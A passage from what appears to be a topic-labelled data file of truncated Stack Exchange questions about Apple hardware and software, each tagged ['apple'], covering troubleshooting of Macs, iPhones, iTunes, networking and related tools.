hard drive in the apple tv 1,can any one with better knowledge of the atv explain in ... ",['apple'] "Title: Get nic name and interface via command line? Body: What I am trying to do is to get the interface name and the nic name (description) via command line in OS X. On Windows the following command gives me the result I am looking for: wmic nic get name, ... ",['apple'] "Title: Problems with tesseract and leptonica on OS X Body: after sudo port selfupdate, sudo port install leptonica and sudo port install tesseract I have what seem to be serious deficiencies. Tesseract wont even recognize .tiff files! pro:Images me$ ... ",['apple'] "Title: Rescuing a MacBook Pro 13-inch, Mid 2009 Body: Would appreciate help - I have an old MBP mid-2009 shipped originally with 10.5.7 Leopard, currently running 10.6.8. I restarted recently and found a kernel panic on startup. I have tried booting in ... ",['apple'] "Title: Display image in original size in Finder's preview column Body: Is there a way to see the image in the preview column of the Finder in original size? Right now the images are stretched to fill the entire width of the column, even if the image is just a small ... ",['apple'] "Title: Copy Files to SMB Mount (says it's full but it really isn't) Body: I'm trying to drag and drop a file from my Mac to an SMB server but it's saying there isn't enough space. When I do a df it's showing only 20 MB when I know it's a 3TB server. sora:~ steve$ df -h ... ",['apple'] "Title: How can I look at Airport logs? Body: I have a VirginMedia connection using one of their ""Super Hub""'s, their wireless configuration is turned off and I connect my Airport Extreme via RJ45 cable. I connect my iMac from the Extreme via ... ",['apple'] "Title: Why does iTunes not recognise a plugged in iPhone on Windows 8.1? Body: I have iTunes 11.0.4.4 and have just installed Windows 8.1 - iTunes seems to work ok, but when I plug the iPhone in (iOS 6.1.4) it doesn't appear and be recognised. The OS sees the phone and I can ... ",['apple'] "Title: Mute Mac Sound When Idle Body: I like it when my Mac announces the time every hour. It keeps me focused or provides me with a reminder to take a break. I also like it when Mail makes a sound when new messages arrive so I can check ... ",['apple'] "Title: How can I download all MP3 files from a web site? Body: I am wondering if there is any software available in OS X that can download all mp3s or specific type of file from a URL. For e.g. I have a url http://www.parweztv.com/Khan%20Adeeb/SURA-04/ and I want ... ",['apple'] "Title: Which mail daemon does OS X 10.8.4 run by default? Body: I'm debugging some mail related stuff on my Mac, and not quite sure how my system is even sending mail. I can run a simple command like date | mail -s test myemail@mydomain.com and receive an email ... ",['apple'] "Title: Can I send and receive iMessage on Mac without buying an iPhone? Body: I have an Apple ID. Macbook Air has iMessage installed. But I cannot figure why I cannot send and receive iMessage to friends. I can only receive messages from myself. Can you explain how iMessage ... ",['apple'] "Title: Where are the system spellchecking dictionaries? Body: I would like to use the spellchecking dictionaries bundled with OS X from the command line (hunspell), but can't seem to find them. In /System/Library/Spelling there are only 2 files pl_PL.{aff,dic}, ... ",['apple'] "Title: Mac OSX microphone input volume level auto-adjusts - can it be disabled? Body: I've found this issue and various discussions online about this, but no obvious ""just do this"", so I'm wandering over here from ServerFault to ask this. Is there a way to disable or hard-set the ... ",['apple'] "Title: Does purchasing IAP from abroad increase the risk of getting my account disabled? Body: So I'm outside USA , and I want to buy the kingdom rush frontiers IAP. Can I do this safely or do I risk getting my account disabled because i use to buy IAP from USA Apple ID outside USA ? ",['apple'] "Title: Merging images on mac Body: Say you have a picture of a dog and a cat. You want to merge parts of the dog's face onto the cat's face creating a cat-dog fusion. What MacBook Pro programs can i get for free in order to do this? ",['apple'] "Title: Can an iPad be charged while acting as a USB host? Body: I have an iPad that I would like to leave semi-permanently connected to a USB hub (connected to a couple of MIDI controllers and some USB speakers). As it stands, I have to remember to unplug it ... ",['apple'] "Title: Is Time Machine encryption stuck or just taking long? Body: I have a 2TB, single-partitioned (HFS+) external drive which I connected to my MacBook Pro (10.8.4 Mountain Lion) for the first time. It prompted me if I wanted to use it as a Time Machine backup, and ... ",['apple'] "Title: How to get screen to display a notification or indicator when Caps Lock is turned on or toggled? Body: I'm on OS X Mountain Lion and would like to know how to do this. I know the button has a light to indicate, but I'd like have and indication on the screen. ",['apple'] "Title: Send short message to another Mac on the LAN Body: I am looking for an OS X application that will allow me to send a short message (URL, etc.) to another Mac running on the same LAN or WiFi. I have two Macs at work, my company iMac and personal ... ",['apple'] "Title: Mounting Remote Server for editing files on my Mac Body: My web development server is in the Cloud and I am very new to Macs. On Ubuntu and other flavors of Linux, I would mount the remote drives using sshfs. I have researched SSHFS for Mac and come up ... ",['apple'] "Title: QuickLook plugin to show DNG thumbnails Body: Is there a QuickLook plugin which will allow the Finder to show thumbnails for most DNG files? OS X is supposed to support at least some types of DNGs, but it won't show thumbnails for the ones I ... ",['apple'] "Title: Microsoft Publisher: Mac Equivalent? Body: Microsoft Publisher is an excellent piece of software on Windows. Does a Mac equivalent of Microsoft Publisher exist in its own entity ? ",['apple'] "Title: Why is OS X able to send out email without first configuring SMTP? Body: When I try the command in terminal, an email is sent. I have checked there is no local SMTP is running, so what is the mechanism used by Apple behind the scene? echo ""Hello"" | mail -s ""Test"" ... ",['apple'] "Title: Unable to install Internet Explorer on MAC OS X 10.7.4 Body: I have a mac mini containing MAC OS X 10.7.4 I must need to go through some sites / links which are strictly allowed only for InternetExplorer, So that i installed ie on my mac, while open ie ... ",['apple'] "Title: Does ios7 support third-party software keyboards? [closed] Body: I am a litte confused about iOS 7. Does iOS 7 support third-party software keyboards? There are a lot of rumors around. I watched the last WWDC and read Apple documents but I couldn't hear anything ... ",['apple'] "Title: iTunesConnect App Name Confusion Body: I've developed an iOS app and I am going to submit it to iTunes. I have to do the following things. Member Center: A. Create App ID B. Create Certificates (for this, I have to create CSR file from ... ",['apple'] "Title: Show info for iPhotos Events without mousing over them Body: When I mouse over an iPhoto Event, under the Event's title it shows the date range for the photos, and the total number of photos in the Event. How can I force iPhoto to show this info for all events, ... ",['apple'] "Title: How to update Python on a Mac with Unix commands Body: After giving up on doing a disk partition and getting Linux, I decided to try and install Python 3.3.2 on a 32 bit Intel Core 2 Duo iMac with OS X 10.6.8 Snow Leopard. I did pretty much everything the ... ",['apple'] "Title: How to run Xquartz in rootless mode? Body: Is here any way to run the Xquartz in rootless mode? So when start e.g. xterm, will get only one xterm window without the whole black screen background? ",['apple'] "Title: iTunes Store: Can I set the default sort order of the album list to “by date”? Body: When I select an artist in iTunes Store, typically the album list is displayed, with the option to sort it by different options. Is there a way to set this always to ""by date"", as default? ",['apple'] "Title: iPad ethernet connection? Body: I'm looking for a hardware solution for a work trip I'm taking soon. The options at the moment seem to be a new Chromebook, or an iPad (which I already have) with bluetooth keyboard. I need a ... ",['apple'] "Title: Unable to set up lan in macbook pro ( with retina display) Body: In macbook pro there is no lan port, for that I bought lan to usb connector. But I am unable to setup net-connection. In System preference > networks there is no ethernet option. I tried this ... ",['apple'] "Title: cant sync songs to my iphone 5 after latest upgrade to 6.1.4 Body: i recently upgraded my ios to 6.1.4. during the upgrade it completely wiped all my data and so i did a restore which worked fine. but now i cannot add any new music to my iphone. when i do sync music ... ",['apple'] "Title: VirtualBox 4, install Lion guest on Mountain Lion host Body: How to install Lion as a guest OS in VirtualBox 4 running on Mountain Lion? I have: Legitimate owned copy of Install Mac OS X Lion.app Flash drive formatted as GUID partition, restored with ... ",['apple'] "Title: Issuing connecting to AFP shares - “(Error) Volume: Root store set to FSOnly with matching create!” Body: I'm having an issue connecting to my AFP shares on my unRAID server. After a couple of days of troubleshooting, I've narrowed down the issue to my Macbook and not the unRAID server. I am able to ... ",['apple'] "Title: My Automator Workflow fails because it fails to find the git command within the 'Run Shell Script' command? Need help Body: I have an Automator workflow and one of the actions is to clone a repository. Here's the code for the 'Run Shell Script' action. The command is run within the Bash shell /bin/bash if that matters: ... ",['apple'] "Title: dual HDMI monitor setup on mac mini late 2012 Body: i just purchased a late 2012 mac mini and two of these monitors: http://www.amazon.com/AOC-i2367Fh-23-Inch-Screen-Monitor/dp/B009V8F700/ref=dp_return_1?ie=UTF8&n=541966&s=pc They only have ... ",['apple'] "Title: Block site from being on Safari Top Sites Body: I have the following issue: some sites I use quite often, as facebook, appears at the top sites with several different urls, depending on the person I chat and so on. I remove them manually, which is ... ",['apple'] "Title: Itunes says “I do not have enough access privileges for this operation” how do I fix this? [closed] Body: A year or so ago I was mucking around in my privacy and shared settings, trying to make it so my computer was ""secure"" when on a college network. Now with my fiddling i've screwed something up and I ... ",['apple'] "Title: Event based on battery charge level Body: I haven't found anything yet so I was hoping maybe someone here had an idea. I want to kick off an even based on battery on an Apple laptop reaching a certain charge level, or when the battery is ... ",['apple'] "Title: Lock down OSX 10.7.5 app into kiosk mode? Body: I want to run an app in 'kiosk' mode for public unattended access via touch screen (no mouse or keyboard attached). I can already automate a network user logon and then the app launches (but only in ... ",['apple'] "Title: Updating an application on Iphone5 and Ipad Apple ID by changed password Body: How can I update the applications which I have already downloaded with my apple ID and old password by using same apple ID but new password. ",['apple'] "Title: I cant imessage my friends ipod five? Body: I have an ipod four and my friend has an ipod five and i can't imessage her?? We are definetly using the right e-mail and we both have full internet access is it becuase we have different ... ",['apple'] "Title: Clicking on folder in iTerm2 opens in web browser instead of Finder Body: I have iTerm2 v1.0.0.2 and I am correctly able to open folders in my home directory if command-click on them. However I am not able to open folders on my Desktop or Documents if I command-click them, ... ",['apple'] "Title: Vim, MacVim, and Unicode Body: Unicode characters appear in regular old vim in the terminal (iTerm), but not MacVim. Is there a way to get MacVim to handle Unicode characters appropriately. If it helps, I installed them using ... ",['apple'] "Title: Exclude sub-folders from Finder search Body: How can I force Finder to only search the current folder, ignoring the contents of all the sub-folders? I don't want to exclude the sub-folders permanently from Spotlight, just for a certain search. ... ",['apple'] "Title: MacBookAir kernel_task at 300% and rising Body: I have a MacBookAir5,1 connected to a Thunderbolt Display. When it gets very hot, PID 0 ""kernel_task"" uses ever more CPU until reaching 340% and slowing the Mac down sufficiently to make me restart ... ",['apple'] "Title: Restored a file from Time Machine when Backup Disk not available Body: I found I had deleted a file I needed to keep, so I used the File Vault icon in the top right, and selected ""Enter Time Machine"". After successfully restoring the deleted file from a snapshot from ... ",['apple'] "Title: Unpair apple remote from Apple TV Body: I want to un-pair the silver remote that came with the Apple TV (3rd Gen) so that I can use it exclusively with my Macbook Pro. Is there a way to do that? Please help. Note: I have tried using those ... ",['apple'] "Title: Can I recover deleted Safari shortcut icons in iOS? Body: In iOS 6, I accidentally deleted non-app icons that were made using Safari browser. Is there a way to recover them? ",['apple'] "Title: Viewing preview of files in finder Body: I have some .groovy files on my file system. I would like to be able to preview them in Finder as I navigate around them. How do I do this? ",['apple'] "Title: Does Mountain Lion support Canon Pixma printers? Body: I've recently re-installed Mountain Lion after I upgraded from Lion on a 2009 iMac. Before the reinstallation, my printer, a Canon Pixma iP3000, worked perfectly and out of the box — no drivers ... ",['apple'] "Title: Sharing and permission Body: How can I set sharing and permission on Mac os x to be -rwx for all? When I create file or folder it is read and write for me but for all others it is Read only. If there is more files just copied ... ",['apple'] "Title: My macbook pro stopped detecting my wireless router (NetGear DG834G) Body: My macbook pro has just stopped detecting my wireless router! The model of the router is NetGear DG834G. The problem is that everyone else in the house has no problem connecting with the network with ... ",['apple'] "Title: text diff for mac OS Body: I see someone has already asked a similar questions, Diff application with posibility to input text manually but got no answer. I'm looking for a software that compares diff between 2 text block ... ",['apple'] "Title: Does an old Intel Core Duo Mac Mini have enough performance to run the latest Garageband? Body: I am getting a used Mac Mini primarily so I can record music using Garageband. Will the 2007 or 2009 models have enough performance to run the latest Garageband and latest OS X? I will at most ... ",['apple'] "Title: Outlook 2011 - clicking email addresses inside the application opening in Apple Mail Body: I use Apple Mail for my personal mail, and Outlook 2011 for work. I have Mail as my default client, as when browsing the web / writing mail, I want to send all emails from that account. However, I ... ",['apple'] "Title: Mac OS X 10.8 QuickLook Causing CPU & Temperature Spikes Body: I have consistently been having a problem with my computer overheating due to random processes using 100%+ CPU. Commonly the problem occurs with the process QuickLookSatellite-general, but it is not ... ",['apple'] "Title: Behavior for dragging multiple mail items in OSX is different than dragging single. Body: I'm using OSX, and I have an email in the inbox, and a Finder folder nearby. If I drag the email into the window I get a nice file in the folder with the subject I'd expect and so on. dragging.... ... ",['apple'] "Title: Switch iPhone 4S's provider Body: I have a iPhone 4S and I dropped it in water and can't talk on it now. So my buddy gave me his old iPhone 4S. But the catch is that he has a passed due balance with ""Telus"". And I need the phone to ... ",['apple'] "Title: Can I use Line out from iPhone 5 via 30pin adapter Body: I built my car stereo so it works with my iPod only. It is a 30pin male connector wired to a potentiometer and then into my amp. I just got an iPhone 5 and I would like to use it with my radio as ... ",['apple'] "Title: How can I get my Verizon apple Iphone to straightalk? Body: I have a Verizon iPhone and I want to hook it up with Straight Talk. Can anyone help me? ",['apple'] "Title: Updates for different user on work mac Body: My office is the only one in my place of business that uses macs (I guess I just lucked out with a boss who insisted on macs), so I.T. has no idea what to do for this situation. The person who I ... ",['apple'] "Title: Changing resolution of application window or screen Body: I have a virtual box windows 7 image. When I have it open I have a number of browsers with 720 * 720 resolution. This means the Virtual box window gets too big for my mac screen. I'd like to scale ... ",['apple'] "Title: Windows key when running windows through virtual box on a mac Body: I am running Windows 7 on a virtual image using virtualbox on my max osx. I need to know what the windows key is on the mac keyboard. Any tips? ",['apple'] "Title: Why do I see two icons for the same application? Body: I have installed TinyGrab on my Mac, and set it to run on login. I now see two icons on the dock; when I close one, the other one closes too. I have two user accounts on the Mac; while I see ... ",['apple'] "Title: Files that iWork needs are missing Body: My iWork/Pages stopped working by it-self and the following error is showing: Files that iWork needs are missing. To restore the missing files, use the iWork Installer to reinstall iWork. Temporary ... ",['apple'] "Title: Preventing booting from external media Body: Is it possible to set up Mac OS X 10.8 (Mountain Lion) on a MacBook Air so that users cannot boot from external media (e.g. a USB memory stick) and cannot restore the OS from the internal restore ... ",['apple'] "Title: MacPorts fails to find 'make' Body: I've installed Xcode and MacPorts on a brand new mid-2013 MacBook Air, but MacPorts doesn't work, saying that it cannot find anything. mba:~ cnst$ sudo port install wget Warning: The Command Line ... ",['apple'] "Title: iPhone 5 & Outlook acct - won't send or receive emails Body: I'm trying to sync my Outlook account with my iPhone and while it ""verifies"" all information, it won't download any new or existing emails. Also, when I try to send an email, I get an error message ... ",['apple'] "Title: How do I create a bootcamp partition with bootcamp when having enough space but Bootcamp disagrees? Body: Hey guys, Im trying to create a bootcamp partition via Bootcamp on my mac, however I keep getting prompted with ""You have too few space to create a bootcamp partition. You need atleast 10GB free ... ",['apple'] "Title: how do you load the US Department of Defense Certificate into an iPhone? Body: How do you load the US Department of Defense SSL certificate (or any SSL certificate) into iOS? ",['apple'] "Title: how do i dock my iphone 5 without charging it? it is jailbroken Body: I want to connect my iPhone 5 to my car stereo through usb, but i don't want it to charge every time i connect it. Especially when i'll only be driving 5 minutes. Any Cydia app or tweak to managae ... ",['apple'] "Title: Remember network share user name but not password Body: I regularly connect to a remote file store (webDAV) that uses different credentials to my OSX user account. I don't want to save the password to my OSX keychain, but would prefer not to have to retype ... ",['apple'] "Title: Password request for file delete Mountain Lion Server Body: I've recently set up a new server environment in our small graphic design / video production studio. The setup involves a Macpro running mountain lion server, with 56tb Raid 6 Proavio unit attached ... ",['apple'] "Title: E Signature Icons on Iphone do not Link! Body: I've created an e-signature on my macbook, with images that link to the appropriate website. It works well on computers (PC and Mac), iPads... But, once it gets sent to an iPhone, the images do not ... ",['apple'] "Title: Potential causes of trackpad problems on retina display macbook Body: I have a 2012 MBP retina display. Over the past few days I've noticed that my trackpad has started to become finicky: it's hard to pinch, the cursor occasionally ""jumps"" and sometimes gets stuck so ... ",['apple'] "Title: How can iPhone see android emoji? Body: My girlfriend has an Android phone and when she text me on my new iPhone, emoji like ;-) appear as is and not as a winking smiley. Is there a way to change that? ",['apple'] "Title: Can I route music that's playing on my computer into Facetime? Body: I'm using facetime with a headset, while also listening to music. How do I play the music I'm listening to my friend, over facetime? ",['apple'] "Title: Install and print from two identical printers on iMac? Body: I have two Dymo label printers. I tried installing the printer using CUPS web admin as well as the Print & Scan under System Preferences. Both printers installed fine. When I print from either the ... ",['apple'] "Title: How to back up a bootable clone while booting from it? Body: I back up my Mac using both Time Machine and a bootable clone - the idea being that if 'something goes wrong', I can boot from the clone and keep working. I read somewhere that once you start working ... ",['apple'] "Title: Are there any drivers for Canon i450 Printer for OSX 10.7? Body: My computer sees the printer and it looks like it installed, but when I try to print, I get an error message that it can't find a print head or that the print head is busy. ",['apple'] "Title: How to configure the network in VMware Fusion and mac to surf the internet? Body: my mac pro have ethernet and wi-fi, and i configure the vm-fusion with ""Share with my mac"", and after configure it successfully, i can ping the mac host well, but i can go internet in my VMware fusion ... ",['apple'] "Title: Making an app window smaller on a mac Body: When I open some apps, the window for the app is huge. I know I can resize the window by going to bottom right and corner and using mouse. I was just wondering is there some quicker way using keys ... ",['apple'] "Title: USB Pluggable speakers for Macbook Pro 13"" Late 2011? Body: What are some good USB plugged-in/pluggable speakers for Macbook Pro 13"" Late 2011? My MacBook Pro late 2011 has its headphone jackets broken due to a stuck headphone jack, and my warranty's out. ... ",['apple'] "Title: Check the version of an app installed on iPad Body: Is there anyway to check the version of an app installed on a iPad without connecting back to iTunes on my desktop / laptop? ",['apple'] "Title: move the /boot partition on Mac OS X to a usb drive Body: I have done this in linux and Im wondering if someone has found a round about way of doing this in OSX. Here is how it works on linux. The boot partition is loaded to a usb flash drive. When ... ",['apple'] "Title: Air drop through Finder share button Body: I have never been able to send a file through the Air drop option inside the share button in Finder. I can use Air drop all right in its own window, but whenever I've wanted to do it through that ... ",['apple'] "Title: 10.8.4 pretending updates don't exist Body: I just upgraded to 10.8.4; I had to do this by downloading the update .dmg from Apple as my computer has decided on its own to opt-out of software updates. Both the App Store and softwareupdate report ... ",['apple'] "Title: JAVA_HOME error while maven build, OSX-10.8.4 Version Body: Error: JAVA_HOME is not defined correctly. We cannot execute /System/Library/Frameworks/JavaVM.framework/Versions/CurrentJDK/Home/bin/java I have upgraded my OSX to 10.8.4. After OSX upgrade I ... ",['apple'] "Title: iTunes: bulk edit/update paths to music files Body: I had to change a path from /a/b/c/d/<hundreds of files>.mp3 to /a/b/c/<hundreds of files>.mp3 Is there some way to bulk update this information? I'm using iTunes 11 on Mountain Lion ",['apple'] "Title: Is it possible to hide title bar of Firefox 22 in OS X 10.8.4 Body: Is there any way to hide or remove Firefox 22 title bar in OS X 10.8.4? Thanks. ",['apple'] "Title: Slow start up following File Vault 2 Trial on Mountain Lion Body: I spent a week with file vault 2 running but found the startup time of my 2012 Retina MBP was excessively slow (5+ mins on the grey apple screen after the spinning white thingo stops) along with the ... ",['apple'] "Title: Why can't I move the first Desktop in Mission control? Body: All spaces are moveable between each other except the first. Why? ",['apple'] "Title: What is the Bonjour option in iMessage for? Body: iMessage has a Bonjour option but there isn't any explanation on what this all is about. So what can I do with this? ",['apple'] "Title: Mac Book Air mid-2012 completely disappeared disk Body: I've tried to wake up my Mac Book Air from sleep today, but I got a black screen. After waiting 10 min, I decided to shut it off by holding the power button a few sec. After restarting, I had a ... ",['apple'] "Title: Apple MacBook Pro RAM Body: Background: I am planning on purchasing a MacBook Pro before I go to college (Computer Science Major). The MacBook comes with a standard 4GB of RAM but there is an upgrade that cost $100, to double ... ",['apple'] "Title: Is it true that Mac Air fan sleeps almost all time? Body: Hmm, while I was typing this question's title, some related questions appeared: air-11-i7-2011-fans-come-on-never-turn-off ... ",['apple'] "Title: Internet via 4g on macbook + ipad via bluetooth or wifi Body: I have Internet access thru a 4g usb pen on my macbook air with osx 10.7.5. I am trying to link it to another macbook air + iphone + ipad by bluetooth - without success. How to configure correctly? ... ",['apple'] "Title: Is there a way to still receive Messages on OS X Mountain Lion, but stop the Messages App from opening automatically? Body: I would like to keep receiving and sending messages from my Mac, but don't want the messages app to keep opening on it's own whenever I get a message. Is there any way around this or am I stuck with ... ",['apple'] "Title: How, if possible, can you chat using talk or write in the app Terminal? Body: I have heard you can send messages to other users in Terminal with the command ""talk"" or ""write"". If you can in fact do this, how? ",['apple'] "Title: How can I “bind” two speaker outputs in OSX? (the feature is gone) Body: I used to be able to make music play out both my laptop speakers and also my monitor speakers. I did this in the System Preferences and ""creating"" a new audio device that composed of both my laptop ... ",['apple'] "Title: Recovering lost notes on iPhone 4s Body: Some of my notes have disappeared from my iPhone 4s. I haven't made any backup and contents of those notes are very important to me. How can I restore or at least access some of my lost notes? (My ... ",['apple'] "Title: How to clear ALL items from Safari's reading list? Body: How to clear ALL items from Safari's reading list? I have 100's of items in the list so do not want do do them individually. I tried removing Bookmarks.plist in ~/Library/Safari/ which deletes the ... ",['apple'] "Title: How to get a higher res image in the Login page? Body: For years, I've been using the 'Calico Cat' image that ships with OS X for my account. Since upgrading to Mountain Lion (maybe since Lion?) the Login page has larger round account images, and it ... ",['apple'] "Title: Search a folder that is excluded from Spotlight Body: I have excluded a folder from Spotlight, because this folder has a lot of files so it often fills up the results, no matter what I'm searching for. However, sometimes I still want to search this ... ",['apple'] "Title: What is ""MyBookWorld'? [duplicate] Body: I keep getting a message saying that Time Machine needs to create a new backup on ""MyBookWorld"" to improve reliability. What is ""MyBookWorld"" and why do I need to do this? ",['apple'] "Title: How do you get notes to stay only on your iPhone and not sync to any other device on the Notes app? Body: I logged out of the iCloud account on both my iPhone and my iPad so neither devices sync each others music or apps anymore, but whenever I make a note on my iPhone I always find it on my iPad and I do ... ",['apple'] "Title: Over 25 gb of Space Disappeared Body: Here's my problem: over the past couple days I did a really good clean out of my computer and managed to free up several gigabytes of data and was hovering around 233+ gb of free space. Then in the ... ",['apple'] "Title: iMac 2011 and WiFi 5GHz problem Body: I have a problem with a Wi-Fi 5GHz connection on my iMac. I configured the 5 GHz network in the network settings, but iMac doesn't discover it. Usually it is connected to the 2.4 GHz network, and ... ",['apple'] "Title: How can I get Apple Mail to paginate instead of loading all conversations? Body: Right now every single GMail message I have ever received (quite a lot) are sitting in my inbox, but ideally I would not have them all just sitting there, and instead maybe paginate by 20. Is this ... ",['apple'] "Title: Why does my computer seem to have a disagreement on hostnames between .home versus .local? Body: At home, my laptop's sharing control panel tells me that it will be accessible as 'whatever.local', but the 'hostname' command reports 'whatever.home'. What's this about? ",['apple'] "Title: Why does MacBook connect to AirPort Express but has no internet connection, while iMac works just fine? [duplicate] Body: My 2007 MacBook (10.6.8) worked perfectly fine with my AirPort Express, until I added a 2010 iMac (10.8.4) to the network. When I first setup the iMac it connected to the AirPort Express, but not to ... ",['apple'] "Title: Change IP address on existing printer Body: How can you ""change"" the IP address on an existing printer without starting over and adding the printer again. I am having an issue with and HP7310xi, I use to have the scan feature show in the print ... ",['apple'] "Title: How to download folder structure to iPad for offline use? Body: I have a large number of files organised in nested directories on my computer and would like to have these available on iPad without constant internet access. The directories contain text files and ... ",['apple'] "Title: cannot add shortcut to switch to desktop 2 when apps are fullscreen on 10.8.4 Body: I am running 10.8.4 and would like to switch to different desktops using keyboard shortcuts. Unfortunately for me, I only see ""Switch to Desktop 1"" and have not way to add a shortcut to switch to ... ",['apple'] "Title: iMac keyboard for programming. Is that comfortable or I should buy another one? Body: I'm planning to buy an iMac next month. I'm a software developer. I usually use the Microsoft Keyboard for my programming tasks, It has a great ergonomics. I tried iMac's keyboard in the store but ... ",['apple'] "Title: How do I get the full path for a file in finder? Body: I look for a file in finder, finder finds it. But, I'd like to find it's full path. How do I do that? ",['apple'] "Title: How to clean install and only re-install old applications/files as you need them? Body: I have Gooogled this for a couple of months now casually but have never gotten a guide that seems suited to me. I am running Snow Leopard. It's really starting to get slow. Basically, most guides on ... ",['apple'] "Title: Alternative Ways to Control The Volume Level Of My Mac In OS X? Body: Generally to either increase or decrease the volume level of my Mac, I always go to the volume menu bar and adjust the slider accordingly. I was wondering: What other ways exist within OS X to ... ",['apple'] "Title: Sublime Text like fuzzy filesystem search for Mac OS X Body: Currently I am using Alfred's filesystem navigation capabilities. It's pretty awesome, but sometimes I want fuzzy-search to match not only the filename but the full path. E.g. I want to find a pdf ... ",['apple'] "Title: I keep getting an error on RedLaser app for iPod Touch 4th generation. How to fix? Body: I just downloaded the RedLaser app from the App Store on my iPod touch 4th generation, 6.1.3. If I go to launch the app, it goes to the Scan section and works normally for about 5 seconds. Then, no ... ",['apple'] "Title: How might text be selected while typing the login password on my Mac? Body: When I wake up my Mac I am presented with the login screen. I begin typing my password in the empty password text box. After typing the first few characters, the password text becomes highlighted ... ",['apple'] "Title: How to get Quick Look to print PDF files double-sided? Body: My default printer's default settings are to print double-sided. It works well in all apps, due to system-wide preferences… with the exception of Quick Look: when I open a file with Quick Look ... ",['apple'] "Title: vi shortcuts on bash on mac not working e.g. CTRL + E, CTRL + A [duplicate] Body: I have used vi as my main text editor for years now on Linux (and a few years back Mac too) and on my brand new Mac (running 10.8.4) I find when trying to edit a file using vi in Terminal I can not ... ",['apple'] "Title: How do I update my jailbroken Apple TV to 5.3? Body: I have a jailbroken Apple TV (black), which has firecore's aTV flash black installed. How do I get it to update to the latest ios so I can use HBOGo? Settings > General > Update just says ""You are ... ",['apple'] "Title: Ubuntu in VirtualBox, with Mountain Lion. Performance? Body: How fast is Ubuntu as VM compared to normal Ubuntu ? I want to run parallel computing, mostly. I have a 12-core Mac, 16GB RAM, with Mountain Lion. Thanks ! Max ",['apple'] "Title: Use Airplay Mirroring and Airplay Speakers at the same time on iPhone Body: Is it possible to use AirPlay mirroring for the video output and AirPlay speakers for audio at the same time? Unfortunately, the AirPlay menu available in the dock only allows me to select one device ... ",['apple'] "Title: Rescue Shortcuts for “Frozen” OS X? Body: Though it doesn't happen often, I sometimes find myself in the situation where OSX will not respond to any commands. The last time this happened I was closing a fullscreen VM - the app went away but ... ",['apple'] "Title: Can I make a retina iPad display websites at full resolution? Body: In other words, can I make it appear to the web server as if the device is 2048x1536 pixels and device-pixel-ratio 1? I'm happy to pay for an app that does does this if there is one… ",['apple'] "Title: What chargers are compatible with A1226? Body: I need to buy a power supply for my A1226 15-inch Macbook Pro (2007), but I can't find any anywhere. Apple's online store, ebay, or amazon. So I'm wondering if the charger doesn't have to be the one ... ",['apple'] "Title: Update for iPod touch 3rd generation [duplicate] Body: Hi I have a pretty tough question it's because all my friends text with imessage and I feel kinda left out is there a way ANY WAY that I could get imessage on my iPod touch 3G There is this boy at ... ",['apple'] "Title: Zoom capability gone Body: I used to be able to hit Ctrl and use mouse wheel to zoom in on pictures, web pages, or whatever. With OS 10.8 the mouse wheel just scrolls up and down pages. Any thoughts on getting the zoom feature ... ",['apple'] "Title: Macbook is connected to wifi and tethering from iPhone. Which connection is it using? Body: When on wifi with my Macbook, sometimes I plug my phone in via USB and both connections say they are working. How do I know which connection my Macbook is using? Further, how do I force my Macbook ... ",['apple'] "Title: Why does my ipad music player automatically stop playing a song? Body: When I play music using the default music player app, songs automatically stop playing after 5 minutes or so. It will stop in the middle of a song. How do I prevent this from happening? I set the ... ",['apple'] "Title: CoreStorageFamily::unlockVEKs() failed to unwrap the vek, status = e00002bc Body: I have a filevault2 disk with two partition. One is the boot partition, the other contains data, both are encrypted. Today, after installing the latest 10.8 update (10.8.4 I guess), the computer ... ",['apple'] "Title: Backup second iPhone to my PC Body: How can I backup a second iPhone 4S to my PC? Both are backed up in iCloud but only one in iTunes store. ",['apple'] "Title: Finder does not remember my last username when connect to Time Capsule Body: Every time I connect to the Time Capsule, the Find prompt show my Mac username as default in the Name: field. How can I config Finder to use the user username I used to connected last time? ",['apple'] "Title: OS X status bar wifi icon - meaning of bars? Body: On my MacBook Air, MacBook Pro and Mac mini, the status bar includes the standard ""radiating sector"" wifi icon which you can click on to select a wifi network, or Option-click on to see additional ... ",['apple'] "Title: Reverting to old iOS Body: I have a iPhone 4. Which I reasently upgraded to iOS 6.1.3 causing me to loss my jail break, how ever I just realised that when i did the update i used my friends lap top, there for i believe i have ... ",['apple'] "Title: How to completely reinstall an app such as Google Chrome on the Mac? Body: The short question is: if I have an app (Chrome) that keeps on crashing on app start up, how do I reinstall the app totally so it will run again? (removing the app and download and reinstall won't ... ",['apple'] "Title: What is the logind process, and why is it running? Body: I've recently noticed that a new process is up and running every time I start my computer - logind, running as root. I'm unsure why this is happening - could it be a patch or so? I'm running a fairly ... ",['apple'] "Title: YouTube doesn't work on a brand new MacBook Body: YouTube doesn't work in Safari on mid-2013 MacBook Air 13"". I've tried enabling HTML5 video at http://www.youtube.com/html5, and some videos did start playing after that, but most videos still don't ... ",['apple'] "Title: How to fix Cover Flow size behaviour? Body: The resizing behaviour of Finder Cover Flow kinds of annoy me... The size of the icons in the Cover Flow area is HUGE, while the list stays small at the bottom. Moving the slider to make the Cover ... ",['apple'] "Title: Kaleidoscope as external diff tool on IntelliJ [Permission Denied] Body: I want to change the diff tool to an external one in IntelliJ Idea (basically in Android Studio). I get this message: Permissions of the file: What am I doing wrong? I also removed the ""@"" / ... ",['apple'] "Title: How does one execute scripts within script bundles? Body: I am trying to make my completely enormous script more comprehensible by splitting it into a main script with bundled scripts to run when called, but I don't seem to understand how to run a bundled ... ",['apple'] "Title: why is there over 200 GB of other on my macbokproo 15 inch 2011? [duplicate] Body: I tried deleting my apps and stuff but what is all the other? all my text files are like 2 gb do folders count as other? can anyone help? here is an image = ",['apple'] "Title: What should I do if my headphones don't go into my iPhone 4s Body: When I put my headphones into my iPhone It doesnt go completely in like it should. I don't know what to do. Can anyone help me? ",['apple'] "Title: localhost MAMP fail on OS X 10.8.4 - the goal-posts have moved slightly? Body: 'Safari can’t connect to the server “localhost”.' I have done this sudo httpd -k stop sudo httpd -k restart and ""It Works!"" Updated MAMP and followed the correct ... ",['apple'] "Title: Split Quicktime Clip Collection Into Individual Videos Body: For whatever reason, my camcorder saves recorded videos as ""clips"" all bundled into a massive AVCHD movie file. I can open each clip individually and manually export it through Quicktime, but this is ... ",['apple'] "Title: Windows 7 startup problem in bootcamp Body: My windows 7 partition has a startup problem. The system will not start, even in safe mode, it gives me an error. If it were a windows machine, I would probably put in a startup disk, but I do not ... ",['apple'] "Title: Simple app for URL bookmarking? Body: I'm looking for web service or an app (or whatever) for iphone 5 for bookmarking urls from google chrome or safari browser. 